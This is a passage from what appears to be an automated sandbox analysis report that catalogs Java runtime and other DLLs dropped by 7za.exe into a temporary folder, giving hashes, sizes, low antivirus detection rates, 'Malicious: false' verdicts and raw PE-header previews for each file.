Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L..."._M.........."!.........................0.....x................................u.....@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\msvcr120.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970912
Entropy (8bit):	6.9649735952029515
Encrypted:	false
SSDEEP:	12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
MD5:	034CCADC1C073E4216E9466B720F9849
SHA1:	F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
SHA-256:	86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
SHA-512:	5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....\|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\net.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	79936
Entropy (8bit):	6.675027571633986
Encrypted:	false
SSDEEP:	1536:ygRdVzzmTj2iu+wk5eQjBE55W+hYRwZZ3GFjJJ5n5WF:yIfmHsM5j6VqJJ55WF
MD5:	691B937A898271EE2CFFAB20518B310B
SHA1:	ABEDFCD32C3022326BC593AB392DEA433FCF667C
SHA-256:	2F5F1199D277850A009458EDB5202688C26DD993F68FE86CA1B946DC74A36D61
SHA-512:	1C09F4E35A75B336170F64B5C7254A51461DC1997B5862B62208063C6CF84A7CB2D66A67E947CBBF27E1CF34CCD68BA4E91C71C236104070EF3BEB85570213EC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!.._e.}.e.}.e.}.~'..d.}.~'..g.}.....f.}.~'..c.}.e.\|..}.l...b.}.l...d.}.~'..D.}.~'..d.}.~'..d.}.~'..d.}.Riche.}.................PE..L...pPjW...........!.........l.....................o.........................`......-.....@.............................1............0............... ..@....@...................................... ...@...................l...`....................text............................... ..`.rdata...L.......N..................@..@.data........ ......................@....rsrc........0......................@..@.reloc..*....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\nio.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	51264
Entropy (8bit):	6.565433654691718
Encrypted:	false
SSDEEP:	768:a+BEJER/xSW/EoB8VBQZbKYawLysHFhIAqQbQMD8YpwQ+Qi4v8qUYVC7R:a+BEJERvQGbKnwusjIAq08YDi4UqUYoR
MD5:	95EDB3CB2E2333C146A4DD489CE67CBD
SHA1:	79013586A6E65E2E1F80E5CAF9E2AA15B7363F9A
SHA-256:	96CF590BDDFD90086476E012D9F48A9A696EFC054852EF626B43D6D62E72AF31
SHA-512:	AB671F1BCE915D748EE49518CC2A666A2715B329CAB4AB8F6B9A975C99C146BB095F7A4284CD2AAF4A5B4FCF4F939F54853AF3B3ACC4205F89ED2BA8A33BB553
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J!...@..@..@...@..@...u..@...B..@..@..@..8M..@...t..@...E..@...D..@...C..@.Rich.@.........PE..L...pPjW...........!.....V...Z......9_.......p.....o................................X.....@..............................+..L\|..........................@.......t....r...............................{..@............p...............................text...TT.......V.................. ..`.rdata...F...p...H...Z..............@..@.data...(...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\npt.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17472
Entropy (8bit):	6.403594687791098
Encrypted:	false
SSDEEP:	192:A3PK394shTLHzW8KMw3X+PVR6y/FNdoEUtnYe+PjPriT0fwoBpp6Z:BThTrzPPQOPV5NNdoEwnYPLr7xc
MD5:	94CAADA66F6316A9415A025C68388A18
SHA1:	57544E446B2B0CFBA0732F1F46522354F94B7908
SHA-256:	D1C4FB91296D643AEE6AB9CD66CC70ACBE2667AD572D969A06FFEAA2A8859FAF
SHA-512:	AC29E7C722A266DCB633953EF2A7E33DF02059AC7876FF94828464B5B74B5BC321C5D2D2851F3CBBFE1328D18F3CD9A49E5EFFE7E4E8AC2BEB3A0E4AAA53AD87
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............w...w...w....@..w..O9K..w....O..w...w...w....M..w....x..w....y..w....H..w....I..w....N..w..Rich.w..........PE..L...qPjW...........!................)........0.....o.........................p......w.....@..........................7.._....3..<....P...............,..@....`.......0...............................2..@............0...............................text...>........................... ..`.rdata..O....0......................@..@.data...X....@......."..............@....rsrc........P.......$..............@..@.reloc.......`.......(..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\prism_common.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	52800
Entropy (8bit):	6.433054716020523
Encrypted:	false
SSDEEP:	1536:Rk2X5KQaT9nNrmTTY99ccAlGGzGRulFJWpiDO:RkgUhpmA99ccOGGzGRuPJWpgO
MD5:	6D05EAD2F6B95C4AFFCFB1B27DC0C188
SHA1:	0D04A67505D006493F252985AC294B534D271EF2
SHA-256:	6330591A151E565B5EAB2D174DF8E2F6523A8F403E4E8D8C8DC58D0945881F19
SHA-512:	DBE98FA16162636039853E9A82CADBE4E6D5A4E6E282A3FBBC122229C314C91E7C445FEB83921EBFE024DC09BC6AA76682F903036A2D2BEA363F1D09DD571B10
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q..D5.w.5.w.5.w..J..7.w.5.v...w.8..6.w.8..6.w.8..9.w.8..7.w.H..2.w.H..4.w.8..4.w.H..4.w.Rich5.w.........................PE..L...pPjW...........!...............................o................................/&....@....................................<.......................@...............................................@............................................text.............................. ..`.rdata..X...........................@..@.data...D...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\prism_d3d.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	116288
Entropy (8bit):	5.7845827860105885
Encrypted:	false
SSDEEP:	3072:UbqmeUF67oaebwU3ta+uHMg9glgFvcfgfgzgG4g9XTXDXp+RuXGXlXdY9vXTXvXQ:8qmeUF67ZeUUVjcIA
MD5:	5AADADF700C7771F208DDA7CE60DE120
SHA1:	E9CF7E7D1790DC63A58106C416944FD6717363A5
SHA-256:	89DAC9792C884B70055566564AA12A8626C3AA127A89303730E66ABA3C045F79
SHA-512:	624431A908C2A835F980391A869623EE1FA1F5A1A41F3EE08040E6395B8C11734F76FE401C4B9415F2055E46F60A7F9F2AC0A674604E5743AB8301DBADF279F2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........tm....X...X...X.G.X...X.G.X...X.G.X...X.G.X...XR..X...X...X...X.l.X...X.l.X...X.G.X...X.l.X...XRich...X........PE..L...pPjW...........!................=..............o................................\|.....@.........................0...K...\|...d.......................@....... ......................................@...............4............................text.............................. ..`.rdata..X...........................@..@.data...............................@....rsrc...............................@..@.reloc.. ...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\prism_sw.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	86592
Entropy (8bit):	6.686302444148156
Encrypted:	false
SSDEEP:	1536:/QsPinZd9lmzFRQnJ9sSpkWgVenAe7C3xWxNO3A4:lPE9lEmtpkj7eqWxNCA4
MD5:	5E6DDF7CF25FD493B8A1A769EF4C78F7
SHA1:	42748051176B776467A31885BB2889C33B780F2D
SHA-256:	B9BEACA57BFF23C953917C0B2037351EF3334E6A9DE447DCA6542FE5C815BF9F
SHA-512:	C47F742F064B99E5B9C2BDEAC97472D9D8C9466C9071E9799AF79F820199D9B30B198C33EF635F07A972B77475AFEA9E7417AA6335D22A7380E7B0E552869C18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!3.ueRr&eRr&eRr&...&gRr&eRs&ERr&h..&fRr&h..&oRr&h..&hRr&h..&gRr&.+.&nRr&.+.&dRr&h..&dRr&.+.&dRr&RicheRr&........PE..L...qPjW...........!................~..............o................................O.....@........................../..B...D4..<....p...............:..@.......\...................................0...@...............\|............................text...4........................... ..`.rdata..*w.......x..................@..@.data...$....@....... ..............@..._RDATA.......`.......(..............@..@.rsrc........p.......0..............@..@.reloc..\............4..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\resource.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14912
Entropy (8bit):	6.381906222478272
Encrypted:	false
SSDEEP:	192:kNncquU+hyD13XLPVlD6o+N9F5os7USnYe+PjPriT0fwXF27:kNcWp7PVl67/nYPLr7s27
MD5:	3C9DC0ED8ADD14A0E5B845C1ACC2FF2E
SHA1:	25C395ADE02199BEDCEE95C65E088B758CD84435
SHA-256:	367C552FBA3DA5F22791CF8F22B983871639ECD2EF7F5B1880021FE4C4F65EE4
SHA-512:	4DD5F68180D03B6621E46732F04B47F996B96F91F67845538D1B303E598CCFDB5E4F785A76DE7DFCB8918125FDB06B9068C4EAB06984B5AA9224DCE90190BA1A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z>Mg._#4._#4._#4.'.4._#4..4._#4..4._#4..4._#4._"4>_#4..4._#4..4._#4..4._#4..4._#4Rich._#4................PE..L...pPjW...........!......................... .....o.........................`.......>....@..........................%......\"..d....@..............."..@....P..D.... ...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...`....0......................@....rsrc........@......................@..@.reloc.......P....... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\splashscreen.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	177216
Entropy (8bit):	6.909590121652277
Encrypted:	false
SSDEEP:	3072:L9Wyo+Jyru3w8WqWnJjOUrI7vh+Dug9PVWU+kmaVE9TBfQiJ8:BWyPsi34i+DugFj+kmaVE9TB4/
MD5:	8DC2356E3FF3A595AEDE81594A2D259A
SHA1:	A05E05E9EA8FB0C8928112CA931EB4F5E977B92A
SHA-256:	B9DE5D3ABBC0AC956E7F590E4C8507FF570B6C353374BB80F413B5846CE322FE
SHA-512:	D5C83EBDB7192DD361856B236A07AFD4FF95E68E0036396D68A3407ED680D4A36EC857AB101DBA5F583AA67CC45A2835178DAC84A68472C7F619EFA674FE51F0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................8h....z.l.....8j.....8_......_......g.......h....8^......8o.....8n.....8i....Rich...........................PE..L...pPjW...........!...............................o......................................@.........................`...........P.......................@...........`...................................@...............D...\|...@....................text............................... ..`.rdata..]...........................@..@.data....1..........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\ssv.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473152
Entropy (8bit):	5.475991416072106
Encrypted:	false
SSDEEP:	6144:ngmgmb+p19k+j4QJKFDSha+IJ6NyLu/wtAWvrMZp5WMuBzj:n17bsj4QJlha+XNyLu/iAWvhBzj
MD5:	79CFE207E05F771E29847573593F6DE1
SHA1:	34DFA813802C6F5A57A557BF72B2B306F8042E90
SHA-256:	AEB27727F428116069944BB92B477D7487C9DEB3921E1005814536459E35222F
SHA-512:	2C71A827BB156BD012BE20B30D701D5123D8B6C7889D4F4A47A483D3477C25BF224E7F205CA9FCCB08DA0A2EF28AF6433D018A0E555BCE911C31A5F462F41578
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@.....@..@..@..4@..@.u2@..@.u.@..@../@..@..?@..@..@:.@k..@..@.u.@\.@.u7@..@.u6@..@.u1@..@Rich..@........PE..L...pPjW...........!.....^..........r .......p.....o.........................p............@.........................@D.......+...........s........... ..@.... ..H6...t..................................@............p.......).......................text...\\.......^.................. ..`.rdata.......p.......b..............@..@.data....I...P...*...8..............@....rsrc....s.......t...b..............@..@.reloc...H... ...J..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\sunec.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	123968
Entropy (8bit):	6.699694377005066
Encrypted:	false
SSDEEP:	1536:jWi/SLhxEJKv0O4+zwtKg3HquHB2u0YUdRXGCDilgKptxG0ULtt1vtxgl0IlgqA2:+vdtg6ZYUniPe5vtxgl0IlgqA2
MD5:	0BAB62A0CF67481EA2A7F3CAFD7C5144
SHA1:	D6B010C815F4D9C675DF918B615FE0AAE45249EA
SHA-256:	FC57682FDBCA50FAEBFC6B4F5D199FC407A541C110C15F0C850503006D32301A
SHA-512:	0128813DE247246BF4AECE1B222B6611E5AE1EDE01A1B339CFE0F98184739D7A066DAE4F1A271F544BB39F9B79F053F4B96F2E471B9444C29855CF52FB7835CB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......y..@=..=..=..4.1.?....:.<..&G>.>..=.....&G<.:..&G..>..&G.....&G9.<..&G8.<..&G?.<..Rich=..................PE..L...qPjW...........!.........................0.....p......................................@.........................p...:...\...<.......................@............0..................................@............0...............................text............................... ..`.rdata.......0......................@..@.data...............................@....rsrc...............................@..@.reloc..>...........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\sunmscapi.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	25664
Entropy (8bit):	6.488681310308951
Encrypted:	false
SSDEEP:	384:GxZ2v7Oc56lspQEgde9M3z27lFOJIjkzIPV5yKlWFKbKwnYPLr7Wo5L:Xr5PQEOe9MD4lFhjk8ddeKWwC7dL
MD5:	039AD8A7A4B14C321F156878838A2340
SHA1:	6AD9D2FBA988193D16E7B3278C0D0757AB99B3EF
SHA-256:	ED3AD7EBA989FB31C2ABC3220694D1446D33659782CB1B333318EC54A577389D
SHA-512:	7D5B8C191A7D0C4FEDB831DE197A3CB5DC0564AD3F2E57EEE8C506B2308B656D2F0FE086D508FAB8F03CA0E1B0574E708728373DFA3116C9B9FC5DFDB72FEE46
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........O.............................;......V...............:..........................Rich....................PE..L...rPjW...........!.....(..."......h2.......@.....p.................................3....@.........................`O.......G..d....p...............L..@...........PA..............................8D..@............@..4............................text....&.......(.................. ..`.rdata..8....@.......,..............@..@.data...`....`.......B..............@....rsrc........p.......D..............@..@.reloc..^............H..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\t2k.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	195136
Entropy (8bit):	6.80727029211823
Encrypted:	false
SSDEEP:	3072:fmtIwyq6lFq857zCYLFYEVothL10xYOXjV5qECVTHLy71vJ2qIcWYEfQQxIYh5t+:mIwyqM7qYLVVIqhfqfTm1W+Tws
MD5:	E1904A4B2D6F657B9FEF053893FE3C41
SHA1:	59AC965A1029AE936DDD5AE623A9A025D49737EC
SHA-256:	5929E3510F67FEAE073B8995BFC542FD7A0626F57D2FBC829EFC95206DF8F85F
SHA-512:	C0A60928299EA2E6DC8AD1E3DE9CEF77C8E520585F8D73BD7F56E33705D1A2AEC04AE9C01A8069AE5A0D71F28AEF42F4A260CF4D5BB44A95DCEB70E5C8DB8FEA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`.zS$...$...$...-..&...?>..'...?>..!...$.......?>.. ...?>......?>..%...?>..%...?>..%...Rich$...................PE..L...pPjW...........!.....f...........p.............p......................... .......]....@.............................f...\...P.......................@...............................................@............................................text....e.......f.................. ..`.rdata..v[.......\...j..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\unpack.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	65600
Entropy (8bit):	6.461111208462538
Encrypted:	false
SSDEEP:	1536:lVeogiQWo3IzLIoDY9p6K/sdDAZ5e1x3afX:veDib4oDu4K/sdDAZ5CxEX
MD5:	806580640A68234A711D3BB0642130A7
SHA1:	1EDF20DAAC15FE90E9891E95130D0DD70D005B62
SHA-256:	CCCC2A9F54E4F5961DD45DAA1F6C97ECFB156EA8E0DF82277A2C109EA4D2E036
SHA-512:	0AAC087449DEECBB1CFAEE5C3144500CDC4C1D209D1F1F7D8EB41DD7870504BF71D0CC9AE7761BFC609F42273B7FB3CA7801AA54FB0E92BC71C41CC5CAECD31C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D.H%..H%..H%..A]).J%...k".I%..S.$.L%..S...D%..S.&.O%..H%..w%..S...A%..S.!.I%..S. .I%..S.'.I%..RichH%..........PE..L...pPjW...........!.........L.....................p......................... .......<....@.........................`...........d.......................@...........................................P...@............................................text............................... ..`.rdata..q-..........................@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\verify.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	39488
Entropy (8bit):	6.751057397220933
Encrypted:	false
SSDEEP:	768:Okt1MVMrA9/Klzwz9UyCgMUt9onPs3h3nVt83OndMY7dmMpAnC70N:Oo1oMQ/CrPa3VWO+gdmMW6q
MD5:	DE2167A880207BBF7464BCD1F8BC8657
SHA1:	0FF7A5EA29C0364A1162A090DFFC13D29BC3D3C7
SHA-256:	FD856EA783AD60215CE2F920FCB6BB4E416562D3C037C06D047F1EC103CD10B3
SHA-512:	BB83377C5CFF6117CEC6FBADF6D40989CE1EE3F37E4CEBA17562A59EA903D8962091146E2AA5CC44CFDDDF280DA7928001EEA98ABF0C0942D69819B2433F1322
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W.d....]...]...]...]...].H.]...].H.]...].H.]...]...]_..].H.]...].H.]...].H.]...].H.]...]Rich...]........................PE..L...pPjW...........!.....N...4.......W.......`.....p................................*k....@.................................<x..P.......................@...........Pa...............................v..@............`..<............................text....L.......N.................. ..`.rdata..e!...`..."...R..............@..@.data...(............t..............@....rsrc................v..............@..@.reloc...............z..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\w2k_lsa_auth.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21568
Entropy (8bit):	6.4868701533420925
Encrypted:	false
SSDEEP:	384:uVI9/tEAHVvfiqiW9LEiGTHb6hVXbS7fLsD5bGGNET7T7T7T7JyFoynPV5hgGLVt:uVI9/yA9f1iW9LEiGTHb6hVXbS7QbGG9
MD5:	7C2959F705B5493A9701FFD9119C5EFD
SHA1:	5A52D57D1B96449C2B40A82F48DE2419ACA944C3
SHA-256:	596F89E7E5D9AC2B1F97FA36A20A7405C1CC41A9FCBA96DB089ADA4550131B24
SHA-512:	B7B48BD14701F75B9018BEDEE5A4CFCEBDAC342F83339FB3F1EFB7855598474C9D1CC993B5D4ADD3326140435087D2BD7CBBC18BC76C64EAD6234A9A7D57C552
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..3..`..`..`.E.`..`.E.`..`.E `..`...`..`..`2.`.E!`..`.E.`..`.E.`..`.E.`..`Rich..`........................PE..L...pPjW...........!.........".......#.......0.....p.................................h....@.........................@B.......<..x....`...............<..@....p.......0...............................;..@............0...............................text............................... ..`.rdata..6....0......................@..@.data........P.......2..............@....rsrc........`.......4..............@..@.reloc..&....p.......8..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\wsdetect.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	163904
Entropy (8bit):	6.508553433039132
Encrypted:	false
SSDEEP:	3072:onzJtwzsrYx6cY+90AiVrM5muIqltkt7maRoM/X1fJqO0NJT:onttwzsrYxTaVVY5muIq3mx/X1fcb
MD5:	A63387A1BFDF760575B04B7BFD57FF89
SHA1:	9384247599523D97F40B973A00EE536848B1D76F
SHA-256:	5DF5B7E6EFCC345DDC8448AFC707B666F5F696F554B00ACA64D8E23EDBC176BF
SHA-512:	CB3A6A394424345FFA076E0BE58F284A0E4DB6FBFCE02D93FB4871D350A7FA1E673175AE988C26453DB1C983C0D06A01DD413DE47031BB4BF308CAAF3513C36F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5...T.^.T.^.T.^..)^.T.^../^.T.^...^&T.^.".^.T.^.,2^.T.^.,"^.T.^.T.^MT.^...^.T.^..*^.T.^..+^.T.^..,^.T.^Rich.T.^................PE..L...rPjW...........!...............................p......................................@.................................D........p..P............h..@.......d...................................P...@.......................@....................text............................... ..`.rdata...d.......f..................@..@.data...`@... ..."..................@....rsrc...P....p.......(..............@..@.reloc..~/.......0...8..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\zip.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	69696
Entropy (8bit):	6.89860109289213
Encrypted:	false
SSDEEP:	1536:ZCghp1EJqcGdjandlraksIOwIOpVnToIft4tpgO6:/142jUhimp9TBft4tqO6
MD5:	CB99B83BBC19CD0E1C2EC6031D0A80BC
SHA1:	927E1E24FD19F9CA8B5191EF3CC746B74AB68BCD
SHA-256:	68148243E3A03A3A1AAF4637F054993CB174C04F6BD77894FE84D74AF5833BEC
SHA-512:	29C4978FA56F15025355CE26A52BDF8197B8D8073A441425DF3DFC93C7D80D36755CC05B6485DD2E1F168DF2941315F883960B81368E742C4EA8E69DD82FA2BA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........H....................2.................4.....................5.............................Rich............PE..L...pPjW...........!.........h.....................p.........................0......V.....@.................................L...d.......................@.... ..X...0...................................@............................................text............................... ..`.rdata..wV.......X..................@..@.data...............................@....rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\d3dcompiler_47.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3696072
Entropy (8bit):	6.574865903829714
Encrypted:	false
SSDEEP:	49152:nqr33AJsOB8SLXId6mEjWEmNZMKRMbDhQc6555Rqp28ITdGS90tQhveWja37PLE3:nyUa6PcMbWD86dGZR
MD5:	6BC4ADA9A7CAB72F49C564E6C86B4C3E
SHA1:	F0FBA01542A0FBE585106F7EFD884DF65E8C89DC
SHA-256:	7D0D1290382EA0E44A3178446A0C202696237E27DBB5F8F0827691092B8F2228
SHA-512:	D7EC39514C104B40A42CD3CA956BA84F5A78F237A39F40D85BA54983145BCE2DFBC7EC5E0CBC1BF8AB64D1D370371A7CBA5E30202D2C1F37782DB32486ED7F6E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a..V...V...V...[..o...[..W....h..T..._xi.Y...V........h..X....h..J....h..X....h..W....h.......h..U....h..W....h..W...RichV...........PE..L....=.f...........!......5...........*.......6...............................9.......8...@A..........................5.u...X.6.......7.@............D8..!... 7.p......T...................l..........@.............6.T............................text...%.5.......5................. ..`.data.........6..d....5.............@....idata........6......N6.............@..@.rsrc...@.....7......d6.............@..@.reloc..p.... 7......j6.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\adbeape.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	6.256669935298282
Encrypted:	false
SSDEEP:	768:FoHeyyllSkorBjtgStOHOHK/r2SQ4OpGgrOcQG13hbR:FUeySlSH7dKvQ4OpGgrOcQw3hbR
MD5:	7887CDC369E86B4467E932365CB1285F
SHA1:	FA54CB61A1ADC7048D92BEEA9C7179761DCE12C9
SHA-256:	B3E5312B598F731BFAF9093AD5712B43F06555A72279AEC36A0D79476B63B5B8
SHA-512:	C5BABAD57B875153B11C1040745CF82B14E5F5C8CBB199FFE63FB4D11B1CEC263D801F1E983F329EADDC78095A610EA442495D5BE74E1AF882D068FB1BA84A6E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
